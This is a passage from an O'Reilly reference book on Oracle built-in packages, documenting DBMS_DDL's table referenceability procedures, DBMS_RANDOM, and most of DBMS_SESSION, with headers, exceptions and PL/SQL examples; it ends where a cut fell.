ANALYZE TABLE|CLUSTER|INDEX [<schema>.]<name>
   [<method>] STATISTICS [SAMPLE <n> [ROWS|PERCENT]]

If the type you specify is not one of TABLE, CLUSTER, or INDEX, the procedure returns without taking action.

NOTE: The type is not case-sensitive; it is always converted to uppercase.

Here are the valid entries for the method argument, and the resulting activity. (Remember that when you pass one of these values, they must be enclosed in single quotes.)

COMPUTE

Exact statistics are computed based on the entire contents of the specified object. These values are then placed in the data dictionary.

ESTIMATE

Statistics are estimated. With this option, either estimate_rows or estimate_percent must be non-NULL. These values are then placed in the data dictionary.

DELETE

The statistics for this object are deleted from the data dictionary.

Here are the valid method_opt entries and the resulting impact:

FOR TABLE

Collects statistics for the table.

FOR ALL COLUMNS [SIZE N]

Collects column statistics for all columns and scalar attributes. The size is the maximum number of partitions in the histogram, with a default of 75 and a maximum of 254.

FOR ALL INDEXED COLUMNS [SIZE N}

Collects column statistics for all indexed columns in the table. The size is the maximum number of partitions in the histogram, with a default of 75 and a maximum of 254.

FOR ALL INDEXES

Collects statistics for all indexes associated with the table.

10.3.3.1.1 Exceptions

DBMS_DDL.ANALYZE_OBJECT may raise any of the following exceptions:

ORA-20000

Insufficient privileges or object does not exist. You must either own the specified object or be granted the CREATE ANY PROCEDURE privilege.

ORA-20001

Bad value for object type. You must specify TABLE, INDEX, or CLUSTER.

Notice that these exceptions are not defined in the specification of the package. Instead, ANALYZE_OBJECT simply calls RAISE_APPLICATION_ERROR with one of the above error numbers. These error numbers may therefore conflict with your own -20NNN error number usages. If you embed calls to ANALYZE_OBJECT inside your application or utility, watch out for the confusion such conflicts can cause.

10.3.4 Setting Referenceability of Tables

When you create an object table, it automatically becomes referenceable, unless you use the OID AS clause when creating the table. The OID AS clause allows you to create an object table and to assign to the new table the same embedded object ID (EOID) as another object table of the same type. After you create a new table using the OID AS clause, you end up with two object tables with the same EOID; the new table is not referenceable, the original one is. All references that previously pointed to the objects in the original table still reference the same objects in the same original table. If you execute the ALTER_TABLE_REFERENCEABLE procedure of the DBMS_DDL package on the new table, it will make that table the referenceable table replacing the original one. Any references will then point to the objects in the new table instead of to the objects in the original table.

With DBMS_DDL, available only in Oracle8, you can both make a table referenceable and reverse that step.

10.3.4.1 The DBMS_DDL. (Oracle8 only)

To make a table referenceable, call the following procedure:

PROCEDURE DBMS_DDL.ALTER_TABLE_REFERENCEABLE
   (table_name IN VARCHAR2
   ,table_schema IN VARCHAR2 DEFAULT NULL
   ,affected_schema IN VARCHAR2 DEFAULT NULL);

Parameters are summarized in the following table.

Parameter | Description
table_name | The name of the table to be made referenceable. You cannot use a synonym. The argument is case-sensitive.
table_schema | The schema containing the table to be made referenceable. If NULL, then the current schema is used. The argument is case-sensitive.
affected_schema | The schema that is to be affected by this change. If NULL, then the PUBLIC schema is used. In other words, the change takes effect in all schemas. The argument is case-sensitive.

This program alters the specified object table, table_schema.table_name, so it becomes the referenceable table for the specified schema, affected_schema. This program is the equivalent of the following SQL statement,

ALTER TABLE [<table_schema>.]<table_name>
   REFERENCEABLE FOR <affected_schema>

which is currently neither supported nor available as a DDL statement. You can obtain this effect only through a call to the ALTER_TABLE_REFERENCEABLE built-in package.

Notice that each argument to this program is case-sensitive. ALTER_TABLE_REFERENCEABLE will not automatically convert to uppercase the table name you pass to it. You must make sure that the table and schema names you provide match exactly the case of the objects found inside the database.

You will be able to execute this procedure successfully only if you have the appropriate privileges. Here are some rules to keep in mind:

  • The user who executes this procedure must own the new table, and the affected schema must be the same as the user or PUBLIC; alternatively, the user must have ALTER ANY TABLE, SELECT ANY TABLE, and DROP ANY TABLE privileges.

  • If the affected schema is PUBLIC (and the user does not have ALTER ANY TABLE, SELECT ANY TABLE, and DROP ANY TABLE privileges), then the user must own the old mapping table (the table upon which the new table is based) for PUBLIC as well.

One tricky aspect to the way this built-in is defined: the default affected_schema is PUBLIC. Combine this fact with the previous rules, and you discover that the simplest form of calling the built-in (providing only the table name),

EXECUTE DBMS_DDL.ALTER_TABLE_REFERENCEABLE ('EMPOBJTAB');

will quite often fail with this error:

ORA-20000: insufficient privileges, invalid schema name or
           table does not exist

You will say to yourself, "But I own the table!" And then you will realize, "Oh, if I don't specify the affected schema, then PUBLIC is used and I do not have ALTER ANY TABLE or any of the other privileges needed." So all I can really do is this,

EXECUTE DBMS_DDL.ALTER_TABLE_REFERENCEABLE ('EMPOBJTAB', USER, USER);

and make sure that the command is applied only to my schema.

10.3.4.1.1 Example

Generally, you will use the ALTER_TABLE_REFERENCEABLE procedure when you want to replace an existing object table with a new table of the same structure. In this scenario, you will want to make sure that all EOIDS point to this new table.

Here are the steps you would take to use ALTER_TABLE_REFERENCEABLE to make this "switch." (These steps are collected together using an employee table as an example in tabref.sql on the companion disk.)

  1. First, you must have an object table already in place. Here is the code to create an employee object and then an object table for that object:

    CREATE TYPE empobj AS OBJECT (ename VARCHAR2(100), empno INTEGER);
/
CREATE TABLE emp OF empobj
/

  2. Now I will create a new object table based on the same object as the original table like this:

    CREATE TABLE empNew OF empobj OID AS emp
/

  3. Next, I transfer the contents of the original emp table to the empNew table. In Oracle8, unique object identifiers are automatically assigned to objects when they are stored as "table objects." It turns out that this identifier is stored in a hidden 16-byte RAW field, SYS_NC_OID$. This ID or OID can be referenced from columns in other tables, much like a foreign key. I use this in my INSERT to make sure the new table has the same identifier as the old. I also must use aliases for my table names for this process to work correctly.

    INSERT INTO empNew en (SYS_NC_OID$, en)
  SELECT SYS_NC_OID$, VALUE (eo) FROM emp eo
/

  4. Now I make the new table referenceable. Notice that the name of the table is passed in upper case and I explicitly pass USER as the schema to avoid the inadvertent usage of PUBLIC.

    EXECUTE DBMS_DDL.ALTER_TABLE_REFERENCEABLE ('EMPNEW', USER, USER);

  5. For my final trick, I swap the names of the tables so that I end up with a new emp table.

    RENAME emp TO empOld;
RENAME empNew TO emp;

10.3.4.1.2 Exceptions

The ALTER_TABLE_REFERENCEABLE procedure may raise the following exception:

ORA-20000

Insufficient privileges; invalid schema name, or table does not exist.

Notice that this exception is not defined in the specification of the package. Instead, this program simply calls RAISE_APPLICATION_ERROR with the previous error number. This error number may therefore conflict with your own -20NNN error number usages. If you embed calls to this procedure inside your application or utility, watch out for the confusion such a conflict can cause.

10.3.4.2 The DBMS_DDL.ALTER_TABLE_NOT_REFERENCEABLE procedure (Oracle8 only)

For the affected schema, this procedure simply reverts to the default table referenceable for PUBLIC; that is, it simply undoes the previous ALTER_TABLE_REFERCEABLE call for this specific schema. The header follows:

PROCEDURE DBMS_DDL.ALTER_TABLE_NOT_REFERENCEABLE
   (table_name IN VARCHAR2
   ,table_schema IN VARCHAR2 DEFAULT NULL
   ,affected_schema IN VARCHAR2 DEFAULT NULL);

Parameters are summarized in the following table.

Parameter | Description
table_name | The name of the table to be made nonreferenceable. You cannot use a synonym. The argument is case-sensitive.
table_schema | The schema containing the table to be made nonreferenceable. If NULL, then the current schema is used. The argument is case-sensitive.
affected_schema | The schema that is to be affected by this change. If NULL, then the current schema is used. PUBLIC may not be specified. The argument is case-sensitive.

This procedure is equivalent to the following SQL statement,

ALTER TABLE [<table_schema>.]<table_name>
   NOT REFERENCEABLE FOR <affected_schema>

which is currently neither supported nor available as a DDL statement.

10.3.4.2.1 Exceptions

The ALTER_TABLE_NOT_REFERENCEABLE procedure may raise the following exception:

ORA-20000

Insufficient privileges; invalid schema name or table does not exist.

Notice that this exception is not defined in the specification of the package. Instead, this program simply calls RAISE_APPLICATION_ERROR with the preceding error number. This error number may therefore conflict with your own -20NNN error number usages. If you embed calls to this procedure inside your application or utility, watch out for the confusion such conflicts can cause.

Previous: 10.2 DBMS_DESCRIBE: Describing PL/SQL Program Headers | Oracle Built-in Packages | Next: 10.4 DBMS_RANDOM: Generating Random Numbers (Oracle8 Only)
10.2 DBMS_DESCRIBE: Describing PL/SQL Program Headers | Book Index | 10.4 DBMS_RANDOM: Generating Random Numbers (Oracle8 Only)
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 10] 10.4 DBMS_RANDOM: Generating Random Numbers (Oracle8 Only)

Oracle Built-in Packages

Oracle Built-in PackagesSearch this book

10.4 DBMS_RANDOM: Generating Random Numbers (Oracle8 Only)

The DBMS_RANDOM package provides a built-in random number generator utility. Oracle Corporation suggests that this package will run faster than generators written in PL/SQL itself because DBMS_RANDOM calls Oracle's internal random number generator.

Oracle describes this package as a relatively simple interface for a random number generator, limited to returning an 8-digit number. They recommend that you use the DBMS_CRYPTO_TOOLKIT package if you need a more sophisticated engine with more options. This package is available with Trusted Oracle.[3]

[3] I must point out that DBMS_RANDOM is built on top of DBMS_CRYPTO_TOOLKIT, which is not documented in this book.

As with any random number generator, before you can obtain any random numbers from DBMS_RANDOM, you must first initialize the package by providing a seed number with DBMS_RANDOM's INITIALIZE procedure. You can later reseed the random number generator via RANDOM_SEED. When you need a random number, issue a call to the RANDOM, which returns a random number for your use. Finally, when you no longer need to use the random number generator, terminate DBMS_RANDOM via the TERMINATE procedure.

10.4.1 Getting Started with DBMS_RANDOM

The DBMS_RANDOM package is created when the Oracle database is first installed. The dbmsrand.sql script found in the built-in packages source code directory (described in Chapter 1) contains the source code for this package's specification. This script is called by catoctk.sql, which contains the scripts needed to use the PL/SQL Cryptographic Toolkit Interface. The scripts create the public synonym DBMS_RANDOM for the package and grant EXECUTE privilege on the package to public. All Oracle users can reference and make use of this package.

NOTE: If you are running Oracle8 Release 8.0.3, DBMS_RANDOM may not have been installed in your database. In this case, you need to execute the following scripts in the specified order from within your SYS account: dbmsoctk.sql, prvtoctk.plb, and finally dbmsrand.sql (it contains both the package specification and body for DBMS_RANDOM).

Table 10.4 summarizes the DBMS_RANDOM programs.

Table 10.4: DBMS_RANDOM Programs
Name | Description | Use in SQL
INITIALIZE | Initializes the random number generator with a seed value | No
RANDOM | Returns a random number | No
SEED | Resets the seed number used to generate the random number | No
TERMINATE | Terminates the random number generator mechanism | No

DBMS_RANDOM does not declare any exceptions or nonprogram elements.

10.4.2 DBMS_RANDOM Interface

This section describes the DBMS_RANDOM programs in the order in which they are typically used.

10.4.2.1 The DBMS_RANDOM.INITIALIZE procedure

Before you can use the DBMS_RANDOM package, you must initialize it with this program,

PROCEDURE DBMS_RANDOM.INITIALIZE (seed IN BINARY_INTEGER);

where seed is the seed number used in the algorithm to generate a random number. You should provide a number with at least five digits to ensure that the value returned by the DBMS_RANDOM.RANDOM function will be sufficiently, well, random.

The INITIALIZE procedure does not assert a purity level with the RESTRICT_REFERENCES pragma.

10.4.2.1.1 Example

Here is an example of a call to initialize the DBMS_RANDOM package:

SQL> exec DBMS_RANDOM.INITIALIZE (309666789);

10.4.2.2 The DBMS_RANDOM.SEED procedure (Oracle8 only)

Once the random number generator has been initialized, you can change the seed value used by DBMS_RANDOM with the SEED procedure. The specification is,

PROCEDURE DBMS_RANDOM.SEED(seed IN BINARY_INTEGER);

where seed is the seed number used in the algorithm to generate a random number. As with INITIALIZE, you should provide a number with at least five digits to ensure that the value returned by the DBMS_RANDOM.RANDOM function will be sufficiently random.

The SEED procedure does not assert a purity level with the RESTRICT_REFERENCES pragma.

10.4.2.2.1 Example

Here is an example of a call to reseed the DBMS_RANDOM package:

SQL> exec DBMS_RANDOM.SEED (455663349);

10.4.2.3 The DBMS_RANDOM.RANDOM function (Oracle8 only)

Call the RANDOM function to retrieve a random number.

FUNCTION DBMS_RANDOM.RANDOM RETURN BINARY_INTEGER;

The RANDOM runction does not assert a purity level with the RESTRICT_REFERENCES pragma.

10.4.2.3.1 Example

Here is an example of a call to RANDOM to obtain a random number:

DECLARE
   my_random BINARY_INTEGER;
BEGIN
   my_random := DBMS_RANDOM.RANDOM;

10.4.2.4 The DBMS_RANDOM.TERMINATE procedure (Oracle8 only)

When you are done with DBMS_RANDOM, you should terminate the program. This will release any memory used by the package.

PROCEDURE DBMS_RANDOM.TERMINATE;

The TERMINATE procedure does not assert a purity level with the RESTRICT_REFERENCES pragma.

Here is an example of a call to terminate the DBMS_RANDOM package:

SQL> exec DBMS_RANDOM.TERMINATE;

Previous: 10.3 DBMS_DDL: Compiling and Analyzing Objects | Oracle Built-in Packages | Next: III. Server Management Packages
10.3 DBMS_DDL: Compiling and Analyzing Objects | Book Index | III. Server Management Packages
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 11] Managing Session Information

Oracle Built-in Packages

Oracle Built-in PackagesSearch this book
Previous: III. Server Management Packages Chapter 11 Next: 11.2 DBMS_System: Setting Events for Debugging

11. Managing Session Information

Contents:
DBMS_SESSION: Managing Session Information
DBMS_System: Setting Events for Debugging

Oracle technologies allow for a great deal of user customization and security. Language preferences can be specified at the session level using the NLS (National Language Support) options of the ALTER SESSION command. Roles can be used to distinguish groups of users from each other and to modify application behavior accordingly. This chapter describes the following two packages that allow you to perform these operations:

DBMS_SESSION

Contains programs that can modify and inspect session roles and settings from within PL/SQL. This package also contains programs for manipulating session memory and package states; even if they aren't used very often, these programs are very instructive to understand.

DBMS_SYSTEM

Lets administrators set various trace events in other users' sessions. Setting these events can be invaluable when tracking down difficult application performance or database issues.

11.1 DBMS_SESSION: Managing Session Information

The DBMS_SESSION package lets you access and alter session-level settings, including features of the ALTER SESSION and SET ROLE commands in SQL. Some of the session modifications that can be made using DBMS_SESSION include the following:

  • Enabling and disabling roles

  • Setting National Language Support (NLS) characteristics

  • Resetting package states and releasing session package memory

  • Setting Trusted Oracle label characteristics

DBMS_SESSION is used primarily to set preferences and security levels for a user's current database session. For instance, if an application requires specific roles to be set prior to performing specific tasks, this can be done using DBMS_SESSION's SET_ROLE procedure.

Most of the programs in DBMS_SESSION would not likely be called deep in the processing layers of application code, but rather invoked early in the application to establish a necessary, appropriate, or preferred context for the user of the application.

11.1.1 Getting Started with DBMS_SESSION

The DBMS_SESSION package is created when the Oracle database is installed. The dbmsutil.sql script (found in the built-in packages source code directory, as described in Chapter 1, Introduction), contains the source code for this package's specification. This script is called by catproc.sql, which is normally run immediately after database creation. The script creates the public synonym DBMS_SESSION for the package and grants EXECUTE privilege on the package to public. This way, all Oracle users can reference and make use of this package.

11.1.1.1 DBMS_SESSION programs

Table 11.1 lists the programs found in the DBMS_SESSION package.

Table 11.1: DBMS_SESSION Programs
Name | Description | Use in SQL?
CLOSE_DATABASE_LINK | Closes an inactive but open database link | No
FREE_UNUSED_USER_MEMORY | Releases unused session memory | No
IS_ROLE_ENABLED | Returns TRUE if role enabled | No
RESET_PACKAGE | Clears all persistent package state | No
SET_CLOSE_CACHED_OPEN_CURSORS | Turns automatic closing of cached cursors on or off | No
SET_LABEL | Sets Trusted Oracle label | No
SET_MLS_LABEL_FORMAT | Sets Trusted Oracle MLS label format | No
SET_NLS | Sets National Language Support characteristics for the session | No
SET_ROLE | Enables or disables roles for the session | No
SET_SQL_TRACE | Turns session SQL tracing on or off | No
UNIQUE_SESSION_ID | Returns a unique character string for the session | Yes

DBMS_SESSION does not declare any exceptions of its own or any nonprogram elements.

11.1.2 Modifying Session Settings

This section describes the procedures you can use to modify various session settings: SET_LABEL, SET_MLS_LABEL_FORMAT, SET_NLS, and SET_ROLE.

11.1.2.1 The DBMS_SESSION.SET_LABEL procedure

The SET_LABEL procedure sets the session's label used by Trusted Oracle databases. The header looks like this:

PROCEDURE DBMS_SESSION.SET_LABEL
    (lbl IN VARCHAR2);

The lbl parameter contains the label for the session.

11.1.2.1.1 Exceptions

The SET_LABEL procedure does not raise any package exceptions. If Trusted Oracle is not installed, calling SET_LABEL results in the following Oracle exception:

ORA-02248

Invalid option for ALTER SESSION.

11.1.2.1.2 Restrictions

Note the following restrictions on calling SET_LABEL:

  • DBMS_SESSION.SET_LABEL is not allowed in remote sessions.

  • The program does not assert a purity level with the RESTRICT_REFERENCES pragma.

11.1.2.1.3 Example

This example uses the SET_LABEL procedure to set the session label to DBHIGH:

BEGIN
   DBMS_SESSION.SET_LABEL('DBHIGH');
END;

For more information on SET_LABEL parameters, see the Trusted Oracle7 Server Administrator's Guide.

11.1.2.2 DBMS_SESSION.SET_MLS_LABEL_FORMAT procedure

The SET_MLS_LABEL_FORMAT procedure sets the session's default format for the labels used by Trusted Oracle databases.

PROCEDURE DBMS_SESSION.SET_MLS_LABEL_FORMAT
   (fmt IN VARCHAR2);

The fmt parameter is a VARCHAR2 that contains the label format for the session.

The program does not raise any exceptions.

11.1.2.2.1 Restrictions

Note the following restrictions on calling SET_MLS_LABEL_FORMAT:

  • DBMS_SESSION.SET_MLS_LABEL_FORMAT is not allowed in remote sessions.

  • The program does not assert a purity level with the RESTRICT_REFERENCES pragma.

11.1.2.2.2 Example

For more information on MLS label formats, see the Trusted Oracle7 Server Administrator's Guide.

11.1.2.3 The DBMS_SESSION.SET_NLS procedure

The SET_NLS procedure sets or alters National Language Support characteristics for the current session. The SET_NLS header looks like this:

PROCEDURE DBMS_SESSION.SET_NLS
   (param IN VARCHAR2
   ,value IN VARCHAR2);

Parameters are summarized in the following table.

Parameter | Description
param | NLS parameter being set for the session (see following list of values)
value | Value of the specified parameter

The following session NLS characteristics can be set via this procedure; specify the desired one as the value of the param parameter:

 NLS_CALENDAR
 NLS_CURRENCY
 NLS_DATE_FORMAT
 NLS_DATE_LANGUAGE
 NLS_ISO_CURRENCY
 NLS_LANGUAGE
 NLS_NUMERIC_CHARACTERS
 NLS_SORT
 NLS_SPECIAL_CHARS
 NLS_TERRITORY

11.1.2.3.1 Exceptions

The DBMS_SESSION.SET_NLS procedure does not raise any exceptions. However, if the value parameter represents a format mask (which would be double-quoted in the ALTER SESSION command) it needs to be enclosed in triple quotes. Otherwise, the following Oracle error will be raised:

ORA-00922

Missing or invalid option.

11.1.2.3.2 Restrictions

Note the following restrictions on calling this procedure:

  • SET_NLS cannot be called from triggers.

  • SET_NLS is not allowed in remote sessions.

  • The procedure does not assert a purity level with the RESTRICT_REFERENCES pragma.

11.1.2.3.3 Examples

To change the default date format for the current session, as used by the TO_CHAR and TO_DATE functions, specify the following:

BEGIN
   DBMS_SESSION.SET_NLS('NLS_DATE_FORMAT','''YYYY:MM:DD''');
   DBMS_OUTPUT.PUT_LINE(TO_CHAR(SYSDATE));
END;

The above PL/SQL block produces a result similar to this:

1997:07:26

Enclose the NLS parameter name in single quotes if it is passed as a string literal. Another option is to initialize a VARCHAR2 variable to the parameter value and pass the variable name for the param parameter. In this case, the variable name is not quoted in the call to SET_NLS.

As mentioned previously, if the value parameter represents a format mask (which would be double-quoted in the ALTER SESSION command) it needs to be enclosed in triple quotes. Otherwise, the ORA-00092 Oracle error will be raised.

WARNING: The following sample code and output reveals a problem with the Oracle7.3 DBMS_SESSION.SET_NLS procedure. The NLS_DATE_FORMAT being passed in is valid, yet the procedure will generate an unhandled exception. This problem appears to have been fixed in the Oracle 8.0 package.

SQL> ALTER SESSION SET NLS_DATE_FORMAT='YYYY:MM:DD:HH24:MI:SS';
Session altered.

SQL> BEGIN
  2  DBMS_SESSION.SET_NLS('NLS_DATE_FORMAT','"YYYY:MM:DD:HH24:MI:SS"');
  3  END;
  4  /
BEGIN
*
ORA-06510: PL/SQL: unhandled user-defined exception
ORA-06512: at "SYS.DBMS_SESSION", line 46
ORA-06512: at line 2

You can query the NLS settings for the current session from the V$NLS_PARAMETERS virtual table as follows:

SELECT parameter, value
  FROM v$nls_parameters;

See the Oracle7 Server Reference Manual for information on the possible meanings and values for the various NLS settings.

11.1.2.4 The DBMS_SESSION.SET_ROLE procedure

The SET_ROLE procedure enables and disables roles for the current session. It is equivalent to executing the SET ROLE command in SQL. The procedure call simply appends the text of the single parameter, role_cmd, to the string "SET ROLE" and executes the resulting SQL command. The SET_ROLE header looks like this:

PROCEDURE DBMS_SESSION.SET_ROLE
       (role_cmd IN VARCHAR2);

11.1.2.4.1 Exceptions

The program does not raise any package exceptions. It can raise the following Oracle exceptions due to improper data in the role_cmd parameter:

ORA-01919

Role "rolename" does not exist.

ORA-01979

Missing or invalid password for role "rolename."

ORA-01924

Role "rolename" not granted or does not exist.

11.1.2.4.2 Restrictions

Note the following restrictions on calling the SET_ROLE procedure:

  • SET_ROLE cannot be called from triggers.

  • SET_ROLE cannot be called from PL/SQL stored procedures or functions.

  • SET_ROLE does not assert a purity level with the RESTRICT_REFERENCES pragma.

To successfully enable a role, the user must already have been granted the role. After executing the SET_ROLE procedure, only the roles specified in the procedure call will be enabled.

11.1.2.4.3 Examples

Set the password-protected role SPECIAL_ROLE in the current session like this:

BEGIN
   DBMS_SESSION.SET_ROLE('SPECIAL_ROLE IDENTIFIED BY password');
END;

Disable all roles in the current session like this:

BEGIN
   DBMS_SESSION.SET_ROLE('NONE');
END;

Set multiple roles for the current session like this:

BEGIN
   DBMS_SESSION.SET_ROLE('ROLE1, ROLE2, ROLE3');
END;

The role_cmd parameter is case-insensitive, which is the default behavior for role names in the Oracle catalog. To set a case-sensitive role, the role name must be double-quoted in the role_cmd parameter. For example:

BEGIN
   DBMS_SESSION.SET_ROLE('"special_role"');
END;

Notice that the lowercase role name special_role is double-quoted and also contained in a string literal delimited by single quotes.

See the Oracle7 Server SQL Reference for more details about the SET ROLE command.

11.1.3 Obtaining Session Information

This section describes the functions you can use to obtain information about a session: IS_ROLE_ENABLED and UNIQUE_SESSION_ID.

11.1.3.1 The DBMS_SESSION.IS_ROLE_ENABLED function

The IS_ROLE_ENABLED function returns TRUE or FALSE depending on whether the role specified in the rolename parameter is enabled. The header for this function follows:

FUNCTION DBMS_SESSION.IS_ROLE_ENABLED
   (rolename IN VARCHAR2)
RETURN BOOLEAN;

The rolename parameter specifies the name of the role.

The IS_ROLE_ENABLED function does not raise any declared exceptions and does not assert a purity level with the RESTRICT_REFERENCES pragma.

11.1.3.1.1 Example

The following PL/SQL block will detect whether the user's session currently has the CONNECT role enabled:

BEGIN
   IF DBMS_SESSION.IS_ROLE_ENABLED('CONNECT');
   THEN
      DBMS_OUTPUT.PUT_LINE('CONNECT IS ENABLED');
   END IF;
END;

An application might use this function to implement role-dependent behavior as in the following code fragment:

IF DBMS_SESSION.IS_ROLE_ENABLED('APP_ADMIN')
THEN
   /*
   || do special administrative logic here
   */
   app_admin_setup;
ELSE
   /*
   || do the normal user logic here
   */
   user_setup;
END IF;

NOTE: The IS_ROLE_ENABLED function is case-sensitive on the rolename parameter, so beware of unexpected results. The default behavior is for role names to be uppercase in the Oracle catalog, so it is probably best to cast the rolename to uppercase prior to calling this function.

For example, in the following block, the variable return_TF will be set to FALSE when CONNECT is enabled for the session because the CONNECT role is uppercase in the catalog:

DECLARE
   return_TF   BOOLEAN;
BEGIN
   return_TF := DBMS_SESSION.IS_ROLE_ENABLED('connect');
END;

11.1.3.2 The DBMS_SESSION.UNIQUE_SESSION_ID function

The UNIQUE_SESSION_ID function returns a character string unique to the session among all sessions currently connected to the database. The return string can be up to 24 bytes in length. Multiple calls to the function from the same session will always return the same string. The program header follows:

FUNCTION DBMS_SESSION.UNIQUE_SESSION_ID
RETURN VARCHAR2;

The UNIQUE_SESSION_ID function does not raise any exceptions.

11.1.3.2.1 Restrictions

Prior to Oracle 7.3.3, this function did not assert a purity level with the RESTRICT_REFERENCES pragma. In Oracle 7.3.3 and above, the program asserts the following purity:

PRAGMA RESTRICT_REFERENCES(UNIQUE_SESSION_ID,WNDS,RNDS,WNPS);

Thus, you can call the UNIQUE_SESSION_ID function directly in SQL for Oracle databases at release 7.3.3 and later.

11.1.3.2.2 Example

To display the value of the unique id for the current session, specify the following:

DECLARE
   my_unique_id   VARCHAR2(30);
BEGIN
   my_unique_id := DBMS_SESSION.UNIQUE_SESSION_ID;
   DBMS_OUTPUT.PUT_LINE('UNIQUE ID: '||my_unique_id);
END;

An example of output from executing the preceding PL/SQL block follows:

UNIQUE ID: F000E4020000

UNIQUE_SESSION_ID is functionally identical to the DBMS_PIPE.UNIQUE_SESSION_NAME function; however, their return values are not identical. Be very careful not to write code that assumes that these two functions are equivalent.

NOTE: Ace technical reviewer Phil Pitha points out that the two functions may be related. He writes that it appears that DBMS_PIPE.UNIQUE_SESSION_NAME returns an id of the format: `ORA$PIPE$' || DBMS_SESSION.UNIQUE_SESSION_ID.

11.1.4 Managing Session Resources

This section describes the procedures you can use to manage your session resources: CLOSE_DATABASE_LINK, FREE_UNUSED_USER_MEMORY, RESET_PACKAGE, SET_CLOSE_CACHED_OPEN_CURSORS, and SET_SQL_TRACE.

11.1.4.1 The DBMS_SESSION.CLOSE_DATABASE_LINK procedure

The CLOSE_DATABASE_LINK procedure is used to close an open but inactive database link in the session. The header for the program is:

PROCEDURE DBMS_SESSION.CLOSE_DATABASE_LINK
   (dblink IN VARCHAR2);

where dblink specifies the name of the database link.

11.1.4.1.1 Exceptions

The CLOSE_DATABASE_LINK procedure does not raise any package exceptions. It can raise the following Oracle exceptions when the referenced database link cannot be closed:

ORA-02080

Database link is in use.

ORA-02081

Database link is not open.

11.1.4.1.2 Restrictions

Note the following restrictions on calling CLOSE_DATABASE_LINK:

  • All cursors using the database link must be closed, and any transactions that reference the link (for UPDATE or SELECT purposes) must be ended (with COMMIT or ROLLBACK).

  • The program does not assert a purity level with the RESTRICT_REFERENCES pragma.

11.1.4.1.3 Example

To close a database link named LOOPBACK, specify the following:

BEGIN
   DBMS_SESSION.CLOSE_DATABASE_LINK('LOOPBACK');
END;

Use of database links establishes a proxy session for the local user on the remote database, and this is a relatively expensive process. This is why Oracle keeps database links open rather than closing them immediately upon completion of the remote operation. Therefore, the CLOSE_DATABASE_LINK procedure probably should not be routinely called, especially for database links that are likely to be referenced again in the current session.

11.1.4.2 The DBMS_SESSION.FREE_UNUSED_USER_MEMORY procedure

The FREE_UNUSED_USER_MEMORY procedure is used to reclaim user session memory, especially when memory-intensive operations have been performed in the session. The header for this procedure follows:

PROCEDURE DBMS_SESSION.FREE_UNUSED_USER_MEMORY;

The FREE_UNUSED_USER_MEMORY procedure does not raise any exceptions and does not assert a purity level with the RESTRICT_REFERENCES pragma.

Oracle Corporation recommends that this procedure be used only when memory is at a premium and the session has allocated large (greater than 100 Kb) amounts. This caution indicates that calling the FREE_UNUSED_USER_MEMORY procedure is itself a relatively expensive operation and should be done only when really necessary. Calling the procedure forces Oracle to deallocate any session memory previously allocated but currently unused.

The following examples are the kinds of operations that can lead to large memory allocations:

  • In-memory sorts where the SORT_AREA_SIZE initialization parameter is large

  • Compilation of large PL/SQL packages, procedures, and functions

  • Use of PL/SQL tables to store large amounts of data

In each of these cases, memory allocated for a specific purpose can only be re-used by Oracle for that same purpose. For example, memory allocated to the session for large PL/SQL compilations will not be reused later for anything but compilation of PL/SQL. If no more compilation is anticipated and memory is scarce, this is a good time to call FREE_UNUSED_USER_MEMORY.

In the case of PL/SQL tables, the scope of the table determines when memory allocated to the table is no longer in use and can be freed. Memory allocated for tables declared locally by procedures and functions becomes unused once the module completes execution. Other PL/SQL tables (local or global) can then make use of this memory. However, the memory remains allocated to the session. Global tables (i.e., tables declared at the package level) have persistent scope, and the memory associated with them can be made reusable only by assigning a NULL table to them. In either case, once the memory is made reusable, it is also eligible to be freed (deallocated from the session) using the FREE_UNUSED_USER_MEMORY procedure.

Figure 11.1 illustrates the relationship between session memory and local versus global PL/SQL tables. In the figure, after package1.procedure1 executes and FREE_UNUSED_USER_MEMORY is called, the memory for PL/SQL table2 is still allocated to the session. On the other hand, package2.procedure1 declares both tables locally, so that all the memory they use can be freed after the procedure completes.

Figure 11.1: Package architecture and persistent session memory

Memory freed by calling this procedure is returned to either the operating system or the Oracle shared pool. This depends on the Oracle configuration and session connection as follows:

  • Sessions connected through multithreaded servers return memory to the shared pool.

  • Sessions with dedicated server connections return memory to the operating system.

Session memory can be monitored through the statistics for "session uga memory" and "session pga memory" found in the V$SESSTAT virtual table.

See the DBMS_SESSION package specification in the dbmsutil.sql file for more information on session memory and the effects of the FREE_UNUSED_USER_MEMORY procedure.

11.1.4.3 The DBMS_SESSION.RESET_PACKAGE procedure

The RESET_PACKAGE procedure resets all package states for the session. The values of any persistent package variables will be lost after execution of this procedure. The header for this procedure follows:

PROCEDURE DBMS_SESSION.RESET_PACKAGE;

The RESET_PACKAGE procedure does not raise any exceptions.

11.1.4.3.1 Restrictions

Note the following restrictions on calling RESET_PACKAGE:

  • Use the RESET_PACKAGE procedure with great caution, as it will cause the loss of package state in all packages for the current session. Applications making use of persistent package variables may be compromised and fail to work properly after calls to RESET_PACKAGE. Therefore, in general, don't embed calls to this procedure in application programs.

  • The program does not assert a purity level with the RESTRICT_REFERENCES pragma.

11.1.4.3.2 Example

The output buffer used by DBMS_OUTPUT is actually a global package data structure that is initialized when either DBMS_OUTPUT.ENABLE or SET SERVEROUTPUT ON is called in PL/SQL or SQL*Plus, respectively.

The following PL/SQL block will not display the message, because the call to RESET_PACKAGE clears out the DBMS_OUTPUT buffer:

BEGIN
   DBMS_SESSION.RESET_PACKAGE;
   DBMS_OUTPUT.PUT_LINE('This is an invisible message');
END;

Although calling RESET_PACKAGE will clear all persistent package variables, including PL/SQL tables and records, it will not automatically release the session memory used by these structures. To release session memory back to the operating system (or Oracle shared pool), use the FREE_UNUSED_USER_MEMORY procedure.

Note that package states cannot be reinstantiated until the outermost PL/SQL calling scope within which RESET_PACKAGE was called completes. This variation on the previous example illustrates the effect of RESET_PACKAGE within its calling scope:

